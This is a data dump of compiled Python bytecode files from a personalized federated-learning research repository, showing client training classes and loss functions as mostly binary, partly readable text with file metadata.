r/ r+ rU rY rf ra r[ rk r- rl Ú
__classcell__r& r& r$ r' r s #
r )r Útorch.nnr Únumpyr2 r, r Úflcore.clients.clientbaser Útorch.utils.datar Úutils.data_utilsr r r& r& r& r' Ú<module> s | 5,040 | Python | .py | 45 | 110.844444 | 841 | 0.410729 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,689 | clientphp.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientphp.cpython-38.pyc | U
”jfcX ã @ sV d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ ddd„Z
dS ) é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPHPc sx t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ |j |j
| _ |j| _t | j¡| _| j ¡ D ]
}d|_qhd S )N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚmuÚ
global_roundsÚlamdaÚcopyÚdeepcopyÚmodel_sÚ
requires_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__© õK D:\京东\promot\cifar\cifar\Cifar10_iid\system\flcore\clients\clientphp.pyr s
zclientPHP.__init__c
C s€ | ¡ }t ¡ }| j | j¡ | j | j¡ | j ¡ | j}| jrTt j
d|d ¡}t |ƒD ]Ş}t
|ƒD ]Ğ\}\}}t|ƒtg ƒkrš|d | j¡|d< n | | j¡}| | j¡}| jrÒt dt t j
¡ ¡ ¡ | j ¡ | |¡}| ||¡d| j } | t| j |¡| j |¡d| jƒ| j 7 } | ¡ | j ¡ qhq\| j ¡ | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?ÚrbfÚ
num_roundsÚ
total_cost) Úload_train_dataÚtimer
ÚtoÚdevicer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr r ÚMMDÚbaseÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr< ÚiÚxÚyÚoutputr r! r! r" r, s4
*
zclientPHP.trainc C sl | j | }t| ¡ | j ¡ ƒD ]\}}|j ¡ |_q t| ¡ | j ¡ ƒD ] \}}|d| || |_qHd S )Nr# )r Úzipr r ÚdataÚcloner
)r r
ÚRr Ú new_paramÚ old_paramr! r! r" Úset_parameters< s
zclientPHP.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r, rL Ú
__classcell__r! r! r r" r
s #r r= c C sÀ t | | ¡ ¡t || ¡ ¡t | | ¡ ¡ }}}| ¡ d¡ |¡}| ¡ d¡ |¡}| ¡ | d| } | ¡ | d| }
| ¡ | d| } t |j¡ |¡t |j¡ |¡t |j¡ |¡ } }
}|dk�rFddddg}|D ]X}| |d |d | d 7 } |
|d |d |
d 7 }
||d |d | d 7 }qì|d
k�rªd d d
dg}|D ]H}| t d| | ¡7 } |
t d|
| ¡7 }
|t d| | ¡7 }�q`t
| |
d| ¡S )a Emprical maximum mean discrepancy. The lower the result
the more evidence that distributions are the same.
Args:
x: first sample, distribution P
y: second sample, distribution Q
kernel: kernel type such as "multiscale" or "rbf"
r g @Z
multiscalegš™™™™™É?g à?gÍÌÌÌÌÌì?gÍÌÌÌÌÌô?r$ éÿÿÿÿr% é
é é é2 g à¿) r
ÚmmÚtÚdiagÚ unsqueezeÚ expand_asÚzerosÚshaper* ÚexpÚmean)rC rD Úkernelr+ ÚxxÚyyÚzzÚrxÚryZdxxZdyyZdxyÚXXÚYYZXYZbandwidth_rangeÚar! r! r" r9 F s. 4ş
r9 )r= ) r r
Útorch.nnr Únumpyr/ r) Úflcore.clients.clientbaser r r9 r! r! r! r" Ú<module> s < | 3,313 | Python | .py | 42 | 76.809524 | 284 | 0.420361 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,690 | clientt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientt.cpython-38.pyc | U
œMgcÜ ã @ sL d dl Z d dlmZ d dlZd dlZd dlmZ d dlZG dd„ deƒZ dS )é N)ÚClientc s4 e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Z‡ ZS ) ÚclientTc sl t ƒ j||||f|� t ¡ | _tjj| jj
¡ | j d�| _ tjj| jj
¡ | j d�| _| ¡ |j| _d S )N)Úlr)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ generatorÚ
parametersÚ
learning_rateÚ
poptimizerÚbaseÚ optimizerÚser_paraÚ plocal_steps)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õB D:\京东\promot\cifar\cifar\tiny\system\flcore\clients\clientt.pyr
s
zclientT.__init__c C sx t | j¡ t | jjjj¡| jjj_t | jjjj¡| jjj_t | jjj j¡| jjj _t | jjj
j¡| jjj
_d S ©N) r
Ú manual_seedr Ú rand_liker
r Zpad_downÚdataÚpad_leftÚ pad_rightZpad_up)r r r r r s
zclientT.ser_parac C sÖ | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ | j }| j
rTt j
d|d ¡}| jj ¡ D ]
}d|_q`| jj ¡ D ]
}d|_qxt|ƒD ]¬}t|ƒD ]�\}\}} t|ƒtg ƒkrÊ|d | j¡|d< n | | j¡}| | j¡} | j
�rt dt t j ¡ ¡ ¡ | j ¡ | |¡}
| |
| ¡} | ¡ | j ¡ q˜qŒ| j ¡ t | jj¡} d}
t | ¡ | ¡ ƒD ]<\}}|| }t |dk|t |¡| ¡}|
t !|¡ }
�qh| j"d d7 < | j"d t ¡ | 7 < |
S ) Né é TFr gš™™™™™¹?Ú
num_roundsÚ
total_cost)#Úload_train_dataÚtimeÚcopyÚdeepcopyr
r ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintr r Ú
requires_gradÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚzipr
ÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r Ú trainloaderÚ
start_timeÚ
old_promptÚmax_local_stepsÚparamr? ÚiÚxÚyÚoutputr Ú
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror r r r0 sF
z
clientT.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S r )rA r r
r r# Úclone)r r rQ rR r r r Úset_parametersO s zclientT.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r r0 rU Ú
__classcell__r r r r r s 0r )
r
Útorch.nnr Únumpyr3 r+ Úflcore.clients.clientbaser r, r r r r r Ú<module> s | 2,593 | Python | .py | 32 | 79.875 | 304 | 0.440281 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,691 | clientavg.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavg.cpython-37.pyc | B
È:ccª ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s$ e Zd Z‡ fdd„Zdd„ Z‡ ZS )Ú clientAVGc s> t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersZ
learning_rateÚ optimizer)ÚselfÚargsÚidZ
train_samplesZ test_samplesÚkwargs)Ú __class__© úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientavg.pyr
s
zclientAVG.__init__c
C sX | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}xÖt |ƒD ]Ê}xÄt |ƒD ]¸\}\}}t
|ƒt
g ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÈt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j�r t| j|t|ƒƒ q^| j ¡ q^W qPW | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Z
num_roundsÚ
total_cost)Zload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsZ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardZprivacyZdp_stepÚlenÚstepÚcpuZtrain_time_cost)
r Z trainloaderÚ
start_timeZmax_local_stepsr+ ÚiÚxÚyÚoutputr r r r r s2
zclientAVG.train)Ú__name__Ú
__module__Ú __qualname__r r Ú
__classcell__r r )r r r s r ) r
Útorch.nnr Únumpyr r Zflcore.clients.clientbaser r r r r r Ú<module> s
| 1,638 | Python | .py | 20 | 80.75 | 314 | 0.46572 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,692 | clientper.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientper.cpython-37.pyc | B
vùec€ ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientPerc s> t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientper.pyr
s
zclientPer.__init__c
C s< | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}xºt |ƒD ]®}x¨t |ƒD ]œ\}\}}t
|ƒt
g ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÈt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ q^W qPW | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚcpuÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr0 ÚiÚxÚyÚoutputr r r r r" s.
zclientPer.trainc C s4 x.t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qW d S )N)Úzipr r
ÚbaseÚdataÚclone)r r
Ú new_paramÚ old_paramr r r Úset_parameters0 s zclientPer.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r" r@ Ú
__classcell__r r )r r r s r )
Úcopyr
Útorch.nnr Únumpyr% r Úflcore.clients.clientbaser r r r r r Ú<module> s | 1,835 | Python | .py | 20 | 90.6 | 290 | 0.461454 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,693 | clientbabu.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbabu.cpython-39.pyc | a
f¾`cÊ
ã @ sL d dl Z d dlZd dlmZ d dlZd dlZd dlmZ G dd„ deƒZ dS )é N)ÚClientc s< e Zd Z‡ fdd„Zdd„ Zdd„ Zddgfd d
„Z‡ ZS ) Ú
clientBABUc sd t ƒ j||||fi |¤Ž t ¡ | _tjj| jj
¡ | j d�| _ |j
| _
| jj
¡ D ]
}d|_qTd S )N)ÚlrF)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚfine_tuning_stepsÚ predictorÚ
requires_grad)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚparam©Ú __class__© ús/media/sim812/391e55df-b6f2-4fe9-a920-53434a8506fa/lgh/pdept/PFL-Non-IID-master/system/flcore/clients/clientbabu.pyr
s
zclientBABU.__init__c
C s | ¡ }t ¡ }| j ¡ | j}| jr8tj d|d ¡}t |ƒD ]ª}t
|ƒD ]œ\}\}}t |ƒt g ƒkr~|d | j
¡|d< n | | j
¡}| | j
¡}| jr¶t dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j ¡ qLq@| jd d7 < | jd t ¡ | 7 < d S )Né é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)Úload_train_dataÚtimer
ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚtoÚdeviceÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚstepÚtrain_time_cost)
r Ú trainloaderÚ
start_timeÚmax_local_stepsr6 ÚiÚxÚyÚoutputr r r r r& s*
zclientBABU.trainc C s0 t | ¡ | jj ¡ ƒD ]\}}|j ¡ |_qd S )N)Úzipr r
r ÚdataÚclone)r r Ú new_paramÚ old_paramr r r Úset_parameters6 s zclientBABU.set_parametersr r c
C sì | ¡ }| j ¡ d|v r2| jj ¡ D ]
}d|_q&d|vrR| jj ¡ D ]
}d|_qFt| jƒD ]Š}t|ƒD ]|\}\}}t |ƒt g ƒkrš|d
| j ¡|d< n |
| j ¡}|
| j ¡}| j
¡ | |¡}| ||¡} | ¡ | j ¡ qhq\d S )Nr Tr Fr )r$ r
r& r r r r, r r- r. r/ r0 r r4 r r5 r6 )
r Z which_moduler8 r r6 r; r< r= r> r r r r Ú fine_tune: s&
zclientBABU.fine_tune)Ú__name__Ú
__module__Ú __qualname__r r& rD rE Ú
__classcell__r r r r r s r )
Úcopyr
Útorch.nnr Únumpyr) r% Úflcore.clients.clientbaser r r r r r Ú<module> s | 2,521 | Python | .py | 34 | 72.941176 | 280 | 0.430868 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,694 | clientrod.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientrod.cpython-37.pyc | B
,fc± ã @ s€ d dl Z d dlZd dlmZ d dlZd dlZd dlmZ d dl m m
Z d dl m
Z
d dlmZ G dd„ deƒZd
dd „ZdS ) é N)ÚClient)Úlabel_binarize)Úmetricsc s. e Zd Z‡ fdd„Zdd„ Zddd„Z‡ ZS ) Ú clientRODc
s´ t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ t
| jj¡| _tjj| j ¡ | j
d�| _t | j¡| _| ¡ }x4|D ],\}}x"|D ]} | j| ¡ d7 < q�W q€W d S )N)Úlré )ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚcopyÚdeepcopyÚ predictorÚpredÚopt_predÚzerosÚ num_classesÚsample_per_classÚload_train_dataÚitem)
ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargsÚ trainloaderÚxÚyÚyy)Ú __class__© úF/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientrod.pyr
s
zclientROD.__init__c
C s‚ | ¡ }t ¡ }| j | j¡ | j | j¡ | j ¡ | j}| jrTt j
d|d ¡}xèt |ƒD ]Ü}xÖt
|ƒD ]Ê\}\}}t|ƒtg ƒkr�|d | j¡|d< n | | j¡}| | j¡}| j |¡}| j |¡} t|| | jƒ}
| j ¡ |
¡ | j ¡ | | ¡ ¡} | | ¡ | |¡} | j ¡ | ¡ | j ¡ qlW q^W | j ¡ | j ¡ | jd d7 < | jd t ¡ | 7 < d S )Nr é r Ú
num_roundsÚ
total_cost) r Útimer ÚtoÚdevicer ÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚbaser Úbalanced_softmax_lossr r Ú zero_gradÚbackwardÚstepÚdetachr r ÚcpuÚtrain_time_cost)
r r$ Ú
start_timeÚmax_local_stepsr> Úir% r& ÚrepÚout_gZloss_bsmÚout_pr r) r) r* r1 s:
zclientROD.trainNc C sÜ | ¡ }|d kr| j}| j | j¡ | j | j¡ | ¡ d}d}g }g }t ¡ ��8 �x.|D �]$\}}t|ƒtg ƒkr�|d | j¡|d< n | | j¡}| | j¡}| j |¡} | j
| ¡}
| | ¡ ¡} |
¡ | } |t tj
| dd�|k¡ ¡ 7 }||jd 7 }| t | ¡ ¡ ¡ ¡ ¡ | j}
| jdk�r<|
d7 }
t| ¡ ¡ ¡ t |
¡d�}| jdk�rz|d d …d d…f }| |¡ q^W W d Q R X | j ¡ | j ¡ tj|dd�}tj|dd�}tj||dd�}|||fS ) Nr r )Údimr+ )Úclasses)ÚaxisÚmicro)Úaverage) Úload_test_datar r/ r0 r Úevalr
Úno_gradr9 r: r r? ÚsumÚargmaxr ÚshapeÚappendÚFÚsoftmaxr@ Únumpyr r r4 ÚarangeÚ concatenater Ú
roc_auc_score)r r Ú
testloaderÚtest_accÚtest_numÚy_probÚy_truer% r& rE rF rG ÚoutputÚncÚlbÚaucr) r) r* Ú test_metricsD sH
zclientROD.test_metrics)N)Ú__name__Ú
__module__Ú __qualname__r r1 rc Ú
__classcell__r) r) )r( r* r s 'r Úmeanc C sB | |¡}| d¡ |jd d¡}|| ¡ }tj|| |d�}|S )a} Compute the Balanced Softmax Loss between `logits` and the ground truth `labels`.
Args:
labels: A int tensor of size [batch].
logits: A float tensor of size [batch, no_of_classes].
sample_per_class: A int tensor of size [no of classes].
reduction: string. One of "none", "mean", "sum"
Returns:
loss: A float tensor. Balanced Softmax Loss.
r éÿÿÿÿ)ÚinputÚtargetÚ reduction)Útype_asÚ unsqueezeÚexpandrR ÚlogrT Ú
cross_entropy)ÚlabelsÚlogitsr rl Zspcr r) r) r* r; t s
r; )rh )r r
Útorch.nnr
rV r4 r. Úflcore.clients.clientbaser Útorch.nn.functionalÚ
functionalrT Úsklearn.preprocessingr Úsklearnr r r; r) r) r) r* Ú<module> s h | 3,840 | Python | .py | 43 | 87.139535 | 536 | 0.446932 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,695 | clientbn.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientbn.cpython-37.pyc | B
úec› ã @ sD d dl Z d dlmZ d dlZd dlZd dlmZ G dd„ deƒZdS )é N)ÚClientc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )ÚclientBNc s> t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ d S )N)Úlr) ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizer)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úE/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientbn.pyr
s
zclientBN.__init__c C sœ | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}xÖt |ƒD ]Ê}xÄt |ƒD ]¸\}\}}t
|ƒt
g ƒkr�|d | j¡|d< n | | j¡}| | j¡}| jrÈt dt tj ¡ ¡ ¡ | j ¡ | |¡}| ||¡} | ¡ | j�r t| j|t|ƒƒ q^| j ¡ q^W qPW | j ¡ | jd d7 < | jd t ¡ | 7 < | j�r˜t| jƒ\}
} t d| j › �d|
d d ›d
| › d |
d › �ƒ d S ) Né é r gš™™™™™¹?Ú
num_roundsÚ
total_costzClient u (ε = z.2fu , δ = u ) for α = ) Úload_train_dataÚtimer
ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradr ÚbackwardÚprivacyÚdp_stepÚlenÚstepÚcpuÚtrain_time_costZ
get_dp_paramsÚprintr ) r Ú trainloaderÚ
start_timeÚmax_local_stepsr3 ÚiÚxÚyÚoutputr ÚresZDELTAr r r r" s8
zclientBN.trainc C sB x<t | ¡ | j ¡ ƒD ]$\\}}\}}d|kr|j ¡ |_qW d S )NÚbn)ÚzipÚnamed_parametersr
ÚdataÚclone)r r
r r% ÚonÚopr r r Úset_parameters< s &zclientBN.set_parameters)Ú__name__Ú
__module__Ú __qualname__r r" rF Ú
__classcell__r r )r r r s 'r ) r
Útorch.nnr Únumpyr% r Úflcore.clients.clientbaser r r r r r Ú<module> s
| 2,058 | Python | .py | 22 | 92.409091 | 301 | 0.452626 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,696 | clientavgpt.cpython-38.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientavgpt.cpython-38.pyc | U
ßıcß ã @ sd d dl Z d dlmZ d dlZd dlZd dlmZ d dlZd dl m
Z
d dl m Z G dd„ deƒZ
dS )é N)ÚClient)Úlabel_binarize)Úmetricsc s, e Zd Z‡ fdd„Zdd„ Zdd„ Z‡ ZS )Ú clientAVGPTc s„ t ƒ j||||f|� t ¡ | _tjj| jj
¡ | j d�| _ |j
| _
tjj| jj
¡ |j|jd�| _tjjj| j| j
|jd�| _d S )N)Úlr)r Úmomentum)Ú step_sizeÚgamma)ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚbaseÚ
parametersÚ
learning_rateÚ optimizerÚ plocal_stepsÚ generatorÚpt_learning_rater Ú
poptimizerÚ lr_schedulerÚStepLRÚlearning_decayÚ scheduler)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs©Ú __class__© õY D:\京东\promot\第二次投稿\å®�验\native - pro\system\flcore\clients\clientavgpt.pyr s
ÿÿzclientAVGPT.__init__c C sÒ | ¡ }t ¡ }t | jj¡}| j | j¡ | j ¡ | jj
¡ D ]
}d|_ qB| jj
¡ D ]
}d|_ qZt | j
ƒD ]´}t|ƒD ]¦\}\}}t|ƒtg ƒkr®|d | j¡|d< n | | j¡}| | j¡}| jræt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ | j ¡ q|qp| j } | j�rFtj d| d ¡} | jj
¡ D ] }d|_ �qR| jj
¡ D ] }d|_ �qlt | ƒD ]²}t|ƒD ]¢\}\}}t|ƒtg ƒk�rÂ|d | j¡|d< n | | j¡}| | j¡}| j�rüt dt tj ¡ ¡ ¡ | j ¡ | |¡} | | |¡}
|
¡ | j ¡ �q��q‚| j ¡ t | jj¡} d}
t |
¡ |
¡ ƒD ]<\}}|| }t! "|dk|t! #|¡| ¡}|
t! $|¡ }
�qd| j%d d7 < | j%d t ¡ | 7 < |
S ) NFTr gš™™™™™¹?é é Ú
num_roundsÚ
total_cost)&Úload_train_dataÚtimeÚcopyÚdeepcopyr r ÚtoÚdeviceÚtrainr r Ú
requires_gradÚranger Ú enumerateÚtypeÚ
train_slowÚsleepÚnpÚabsÚrandomÚrandr Ú zero_gradr ÚbackwardÚstepr Ú local_stepsÚrandintr ÚcpuÚzipr ÚwhereÚ
zeros_likeÚsumÚtrain_time_cost)r Ú trainloaderÚ
start_timeÚ
old_promptÚparamr@ ÚiÚxÚyÚoutputr Úmax_local_stepsÚ
new_promptÚ
diff_provalueÚ new_paramÚ old_paramÚdiff_pror' r' r( r3 sj
zclientAVGPT.trainc C sv | ¡ }| j | j¡ | j ¡ d}d}d}g }g }t ¡ �ò |D ]æ\}}t|ƒtg ƒkrp|d | j¡|d< n | | j¡}| | j¡}| |¡} | j |¡}
|t tj
| dd�|k¡ ¡ 7 }|t tj
|
dd�|k¡ ¡ 7 }||j d 7 }|
| ¡ ¡ ¡ ¡ |
t| ¡ ¡ ¡ t | j¡d�¡ qBW 5 Q R X | j ¡ tj|dd�}tj|dd�}tj||dd�} |||| fS )Nr r) )Údim)Úclasses)ÚaxisÚmicro)Úaverage)Úload_test_datar r1 r2 Úevalr Úno_gradr7 r rG ÚargmaxÚitemÚshapeÚappendÚdetachrC Únumpyr r: ÚarangeÚ num_classesÚ concatenater Ú
roc_auc_score) r ÚtestloaderfullÚtest_accÚ test_acc2Útest_numÚy_probÚy_truerN rO rP Úoutput2Úaucr' r' r( Ú test_metricsc s4
2
zclientAVGPT.test_metrics)Ú__name__Ú
__module__Ú __qualname__r r3 rq Ú
__classcell__r' r' r% r( r
s Fr )r Útorch.nnr rd r: r. Úflcore.clients.clientbaser r/ Úsklearn.preprocessingr Úsklearnr r r' r' r' r( Ú<module> s | 3,486 | Python | .py | 47 | 72.851064 | 553 | 0.432558 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,697 | clientproto.cpython-37.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientproto.cpython-37.pyc | B
®ûec
ã @ s` d dl mZ d dlZd dlZd dlmZ d dlZd dlZd dl m
Z
G dd„ de
ƒZ dd„ Z dS )é )Ú defaultdictN)ÚClientc s> e Zd Z‡ fdd„Zdd„ Zdd„ Zdd„ Zd d
d „Z‡ ZS )
Ú clientProtoc sx t ƒ j||||f|� t ¡ | _tjj| j ¡ | j
d�| _ t | jj
¡ ƒd jd | _d | _d | _t ¡ | _|j| _d S )N)Úlrr é )ÚsuperÚ__init__ÚnnÚCrossEntropyLossÚlossÚtorchÚoptimÚSGDÚmodelÚ
parametersÚ
learning_rateÚ optimizerÚlistÚ predictorÚshapeZ feature_dimÚprotosÚ
global_protosÚMSELossÚloss_mseÚlamda)ÚselfÚargsÚidÚ
train_samplesÚ test_samplesÚkwargs)Ú __class__© úH/root/autodl-tmp/PFL-Non-IID-master/system/flcore/clients/clientproto.pyr s
zclientProto.__init__c C s | ¡ }t ¡ }| j | j¡ | j ¡ | j}| jrFtj
d|d ¡}t t ƒ}�xrt
|ƒD �]d}�x\t|ƒD �]N\}\}}t|ƒtg ƒkr |d | j¡|d< n | | j¡}| | j¡}| jrØt dt tj ¡ ¡ ¡ | j ¡ | j |¡} | j | ¡}
| |
|¡} | jd k�rjt | ¡} x6t|ƒD ]*\}}
|
¡ }| j| j | |d d …f< �q&W | | | | ¡| j 7 } x>t|ƒD ]2\}}
|
¡ }|| | |d d …f ¡ j ¡ �qtW | !¡ | j "¡ qlW qZW | j #¡ t$|ƒ| _%| j&d d7 < | j&d t ¡ | 7 < d S )Nr é r gš™™™™™¹?Ú
num_roundsÚ
total_cost)'Úload_train_dataÚtimer ÚtoÚdeviceÚtrainÚ local_stepsÚ
train_slowÚnpÚrandomÚrandintr r ÚrangeÚ enumerateÚtypeÚsleepÚabsÚrandr Ú zero_gradÚbaser r r r Ú
zeros_likeÚitemÚdatar r ÚappendÚdetachÚbackwardÚstepÚcpuÚagg_funcr Útrain_time_cost)r Ú trainloaderÚ
start_timeÚmax_local_stepsr r? ÚiÚxÚyÚrepÚoutputr Z proto_newÚyyÚy_cr" r" r# r+ sF
&
zclientProto.trainc C s t |¡| _d S )N)ÚcopyÚdeepcopyr )r r r" r" r# Ú
set_protosN s zclientProto.set_protosc C s | ¡ }| j | j¡ | j ¡ ttƒ}t ¡ �Ò xÊt |ƒD ]¾\}\}}t
|ƒt
g ƒkrn|d | j¡|d< n | | j¡}| | j¡}| j r¦t
dt tj ¡ ¡ ¡ | j ¡ | j |¡}x<t |ƒD ]0\}}| ¡ }|| ||d d …f ¡ j¡ qÆW q<W W d Q R X t|ƒ| _| j ¡ d S )Nr gš™™™™™¹?) r' r r) r* Úevalr r r Úno_gradr2 r3 r- r( r4 r. r5 r/ r6 r r7 r8 r: r< r= r; rA r r@ ) r rC r rF rG rH rI rK rL r" r" r# Úcollect_protosQ s&
2
zclientProto.collect_protosNc
C sL | ¡ }|d kr| j}| j | j¡ | ¡ d}d}t ¡ �ö xî|D ]æ\}}t|ƒtg ƒkrr|d | j¡|d< n | | j¡}| | j¡}| j |¡}t dƒt
|j d | j ¡ | j¡ }x@t
|ƒD ]4\} }
x*| j ¡ D ] \} } | |
| ¡|| | f< qØW qÄW |t tj|dd�|k¡ ¡ 7 }||j d 7 }qDW W d Q R X | j ¡ ||dfS )Nr Úinfr )Údim)Úload_test_datar r) r* rP r rQ r3 r8 ÚfloatÚonesr Ú num_classesr2 r Úitemsr ÚsumÚargminr: r@ )
r r Ú
testloaderÚtest_accÚtest_numrG rH rI rJ rF ÚrÚjÚpror" r" r# Ú test_metricsj s,
$
zclientProto.test_metrics)N) Ú__name__Ú
__module__Ú __qualname__r r+ rO rR rb Ú
__classcell__r" r" )r! r# r s
3r c C sj xd| ¡ D ]X\}}t|ƒdkrVd|d j }x|D ]}||j7 }q2W |t|ƒ | |< q
|d | |< q
W | S )z-
Returns the average of the weights.
r r )rY Úlenr; )r ÚlabelÚ
proto_listÚprotorF r" r" r# rA ‰ s
rA )
Ú collectionsr rM r Útorch.nnr Únumpyr. r( Úflcore.clients.clientbaser r rA r" r" r" r# Ú<module> s ~ | 4,011 | Python | .py | 44 | 89.886364 | 465 | 0.398438 | hkgdifyu/pFedPT | 8 | 3 | 0 | GPL-2.0 | 9/5/2024, 10:48:09 PM (Europe/Amsterdam) |
2,286,698 | clientperavg.cpython-39.pyc | hkgdifyu_pFedPT/system/flcore/clients/__pycache__/clientperavg.cpython-39.pyc | a
